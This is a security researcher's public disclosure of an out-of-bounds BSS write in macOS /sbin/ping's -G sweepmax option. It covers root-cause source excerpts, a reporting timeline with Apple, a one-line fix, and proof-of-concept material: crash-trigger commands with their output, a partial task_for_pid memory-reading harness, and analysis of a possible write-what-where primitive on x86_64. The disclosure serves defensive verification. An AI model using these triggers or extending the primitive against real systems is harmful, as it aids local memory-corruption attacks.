-G sweepmaxControlled BSS Out-of-Bounds Write on macOS — Public Disclosure PING-01
Independent Security Research — Whitby, North Yorkshire, United Kingdom
-G sweepmax flag of /sbin/ping on macOS accepts values larger than the
internal packet buffer without checking the limit that the neighbouring -s flag enforces.
The fill loop then writes controllable bytes past the end of a 65,535-byte global array.
The author demonstrated, empirically, that writing 128 bytes past the end overwrites the socket
file descriptor with a predictable byte value, causing a deterministic, binary-searchable crash.
Apple has confirmed the bug and scheduled a fix for Fall 2026.
/sbin/ping’s -G sweepmax argument is stored without validating it against
maxpayload. The packet-fill loop then writes up to sweepmax bytes starting from
outpackhdr[36] (SOCK_RAW / root) or outpackhdr[16] (SOCK_DGRAM / non-root),
overflowing past the end of the 65,535-byte outpackhdr global array. The bug is
asymmetric: the -s datalen flag has the bounds check that -G sweepmax lacks.
The omission was introduced when an #ifndef __APPLE__ block removed the non-root uid
guard for -G without adding an equivalent maxpayload check. On arm64e (Apple
Silicon), PAC prevents code-pointer hijack; state corruption via socket-fd overwrite remains
demonstrable. On x86_64, pointer-type globals are within attacker reach. /sbin/ping is not
setuid on macOS 11 or later; there is no direct privilege escalation on default configurations.
Keywords: out-of-bounds write · BSS corruption · network_cmds · ping · macOS · responsible disclosure · Apple Security Bounty · arm64e · PAC
| Date | Event |
|---|---|
| 2026-04-04 | Initial report to Apple Security Bounty (OE1105761557610). |
| 2026-04-16 | Apple confirmed reproduction; status set to “We’re planning to address the issue”; fix planned Fall 2026. Apple asked whether a controlled-execution or privilege-escalation primitive could be demonstrated. |
| 2026-04-16 | Author replied with detailed exploit-primitive analysis: byte-precise socket fd corruption at OOB+128, value 0x63, deterministic, with architecture-specific (x86_64 vs arm64e) analysis. |
| 2026-04-17 | Apple: “Thanks for the additional information. We will further review.” |
| 2026-05-13 | Author follow-up; Apple replied: “We have reproduced this report and are continuing to investigate. No additional information is needed from you at this time.” |
| 2026-05-13 | Public disclosure (this document). |
/sbin/ping on macOS ships as part of network_cmds-730.80.3, Apple’s open-source fork of
the BSD networking utilities. The binary accepts a sweep-mode flag, -G sweepmax, that sets the
upper bound of a payload-size sweep. An adjacent flag, -s datalen, enforces a maximum-payload
check before the value is stored. -G sweepmax does not.
The omission is Apple-specific: the upstream guard was wrapped in an #ifndef __APPLE__ block that
removed a uid-based size restriction without substituting an equivalent maxpayload check.
The result is that any user can supply a sweep ceiling larger than the 65,535-byte internal buffer
and the fill loop will write past the end of that buffer into adjacent BSS globals.
This disclosure documents the root cause in source, the empirical confirmation of the primitive
(socket-fd overwrite at OOB+128, value 0x63, deterministic), and the extended-range
analysis for both arm64e and x86_64 architectures. Apple has confirmed the bug and scheduled a
fix for Fall 2026. The author considers 40 days of exclusivity appropriate for a local,
non-setuid state-corruption primitive and publishes now to enable independent verification
and defensive work.
The analysis was performed on /sbin/ping as shipped with macOS 26.4.1 (build 25E253, arm64e)
and cross-confirmed on macOS 26.4 (build 25E246, arm64e). The x86_64 code path was confirmed by
static analysis of the x86_64 slice.
| Field | Value |
|---|---|
| Package | network_cmds-730.80.3 |
| Binary | /sbin/ping |
| macOS tested | 26.4.1 build 25E253 (arm64e); 26.4 build 25E246 (arm64e) |
| Source | github.com/apple-oss-distributions/network_cmds |
| Setuid | No (macOS 11+) |
The -s (data-length) option enforces the bounds check that -G does not. In
ping.c ~line 647:
/* -s datalen: guard PRESENT */
if (datalen > maxpayload)
errx(EX_USAGE,
"packet size too large: %d > %d",
datalen, maxpayload);
In the -G sweepmax handler, the original guard has been conditionally compiled out:
/* -G sweepmax: guard ABSENT */
#ifndef __APPLE__
if (uid != 0 && ultmp > DEFDATALEN) {
err(EX_NOPERM, "packet size too large");
}
#endif
sweepmax = ultmp; /* ← no maxpayload check */
The #ifndef __APPLE__ removed the non-root uid guard without substituting an equivalent
maxpayload check. The omission is Apple-specific; the macOS code path exposes
sweepmax values up to UINT_MAX to the fill loop.
The packet-fill loop at ping.c ~line 741 uses the larger of datalen and
sweepmax as its upper bound, writing into outpackhdr starting at a socket-type-dependent
offset:
/* SOCK_RAW (root): datap = outpackhdr[36] */
/* SOCK_DGRAM (non-root): datap = outpackhdr[16] */
if (!(options & F_PINGFILLED))
for (i = TIMEVAL_LEN;
i < MAX(datalen, sweepmax); ++i)
*datap++ = i; /* u_char; value = i % 256 */
outpackhdr[] is IP_MAXPACKET = 65535 bytes. With sweepmax > maxpayload,
the loop walks past the array end and into adjacent BSS globals.
Table 2. Overflow thresholds per socket mode (empirically confirmed).
| Mode | Socket | datap base | maxpayload | Overflow at sweepmax ≥ |
|---|---|---|---|---|
| root | SOCK_RAW | outpackhdr+36 | 65,507 | 65,508 |
| non-root | SOCK_DGRAM | outpackhdr+16 | 65,527 | 65,528 |
Each overflowed byte is i % 256, where i is the fill-loop counter and is
attacker-controlled via -G. The write is therefore byte-precise and deterministic:
choose -G N and the byte at outpackhdr[N-1] becomes (N-1) % 256.
The static int s socket descriptor is placed by the compiler at exactly 128 bytes past
the end of outpackhdr[] in the compiled binary’s __common BSS section (verified by
inspecting the Mach-O symbol table on macOS 26.4.1 arm64e).
With -G 65637 (write up to i = 65,636), the first byte of s is overwritten with
65,635 % 256 = 99 = 0x63. The valid socket fd (typically 3 or 4) becomes 0x63,
which is invalid. The next setsockopt() call returns EBADF and the binary exits with status 71.
$ /sbin/ping -G 65637 -g 1 -h 1 -c 1 127.0.0.1 ping: setsockopt(SO_TRAFFIC_CLASS): Bad file descriptor ping: setsockopt(SO_TIMESTAMP): Bad file descriptor [exit 71 / EX_OSERR] $ /sbin/ping -G 65636 -g 1 -h 1 -c 1 127.0.0.1 PING 127.0.0.1 (127.0.0.1): (0 ... 65636) data bytes ... (clean operation — one byte below threshold)
The crash is deterministic and binary-searchable: sweepmax 65,636 runs cleanly; 65,637 crashes. The threshold is invariant across runs (no ASLR sensitivity at this layout level).
At higher sweepmax values (≈ 65,650–65,800) the writes reach pointer-type globals
*outpack, *hostname, *shostname in the same __common section. On x86_64 these
are unguarded 8-byte pointer slots; the sequential byte pattern produces an attacker-influenced
address, creating a write-what-where primitive bounded by the sequential value constraint.
On arm64e, PAC prevents direct PC capture from this primitive; state corruption remains observable.
| Property | Assessment |
|---|---|
| Is | Deterministic, controlled, byte-precise BSS write |
| Is | Architecturally observable on all macOS versions shipping the affected network_cmds |
| Is | Exploitable as a state-corruption primitive (socket fd, both architectures) |
| Is not | A direct privilege escalation (ping not setuid on macOS 11+) |
| Is not | A direct PC-capture primitive on arm64e (PAC blocks pointer hijack) |
| Is not | Network-reachable (local execution only) |
The demonstration requires only the system-shipped /sbin/ping binary on any macOS 26.4.1
host. The following two commands show the asymmetry:
# Crashes deterministically:
$ /sbin/ping -G 65637 -g 1 -h 1 -c 1 127.0.0.1; echo "exit=$?"
ping: setsockopt(SO_TRAFFIC_CLASS): Bad file descriptor
ping: setsockopt(SO_TIMESTAMP): Bad file descriptor
exit=71
# Symmetric flag enforces the same limit cleanly:
$ /sbin/ping -s 65508 127.0.0.1 2>&1; echo "exit=$?"
ping: packet size too large: 65508 > 65507
exit=64
A minimal C harness using task_for_pid and mach_vm_read confirms the
overflow bytes at the array boundary. Requires root and SIP-disabled environment.
/* poc_evidence_capture.c (excerpt) */
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <signal.h>
#include <unistd.h>
int main(void) {
pid_t pid = fork();
if (pid == 0) {
execl("/sbin/ping", "ping",
"-G", "65510", "127.0.0.1", NULL);
_exit(1);
}
usleep(600000);
kill(pid, SIGSTOP);
task_t task;
task_for_pid(mach_task_self(), pid, &task);
/* scan RW regions, read overflow boundary */
/* at outpackhdr[65530..65540] */
}
Observed on macOS 26.4 arm64e build 25E246:
outpackhdr[65531..65534]: df e0 e1 e2 ← last 4 in-bounds fill bytes outpackhdr[65535]: e3 ← 1-byte alignment pad rcvd_tbl[0]: e5 ← 0xe4 from fill | 0x01 by SET() rcvd_tbl[1]: e5 ← overflow (i=65509) rcvd_tbl[2]: 00 ← loop stopped here
The 3-byte overflow at the lower sweepmax value shows the primitive begins immediately
at the array boundary; the extended-range primitive documented in §4.2 shows the same
loop continues into more impactful BSS locations as sweepmax increases.
Table 3. Impact assessment — PING-01.
| Factor | Assessment |
|---|---|
| Privilege required | None on default macOS (/sbin/ping runs as user) |
| Network required | None — loopback sufficient |
| Crash | Deterministic at sweepmax ≥ 65,637 (root path); setsockopt returns EBADF |
| Data corruption | Controlled — adjacent BSS bytes set to i % 256 |
| Privilege escalation | No on macOS 11+ (ping not setuid) |
| Code execution | No on arm64e (PAC); plausible primitive on x86_64 given pointer-global reach |
| Remote attack surface | None — local execution only |
| User interaction | None beyond invoking /sbin/ping |
| Severity category | Apple “Userland → Network Utilities” |
In the -G option handler (ping.c ~line 375), immediately after sweepmax = ultmp,
add the symmetric guard that already exists for -s:
if ((int)sweepmax > maxpayload)
errx(EX_USAGE,
"sweep max size too large: %d > %d",
sweepmax, maxpayload);
maxpayload is computed differently on the root and non-root paths; the check must be
applied to both branches, mirroring the existing -s treatment. The fix is one line in
each branch.
This disclosure is published 40 days after the initial report, ahead of Apple’s scheduled Fall 2026 fix. The author considers this appropriate because:
/sbin/ping
already has local code execution as a user./sbin/ping is not setuid on macOS 11+. No privilege boundary is crossed by this
primitive on default macOS.network_cmds can benefit from technical detail to verify
mitigations and check for regressions when Apple ships the fix.This document is licensed CC BY 4.0; reuse, citation, and redistribution are explicitly
permitted with attribution. The Apple OSS network_cmds source is open at
github.com/apple-oss-distributions/network_cmds.
The crash trigger requires only the system-shipped /sbin/ping binary on any macOS host.
No external tooling is required for the user-mode demonstration. The memory-level evidence
requires a SIP-relaxed environment and task_for_pid access.
The author thanks the developers of the open-source network_cmds project (Apple Inc.) for
publishing the source that made this analysis possible. The author thanks the Apple Product
Security team for confirming reproduction and scheduling the fix.
Stuart Thomas is an independent security researcher with prior contributions accepted into the OpenBSD and FreeBSD projects and submissions accepted into the Apple Security Bounty pipeline. The opinions expressed are the author’s own. This disclosure represents the author’s own work and does not represent the position of any employer.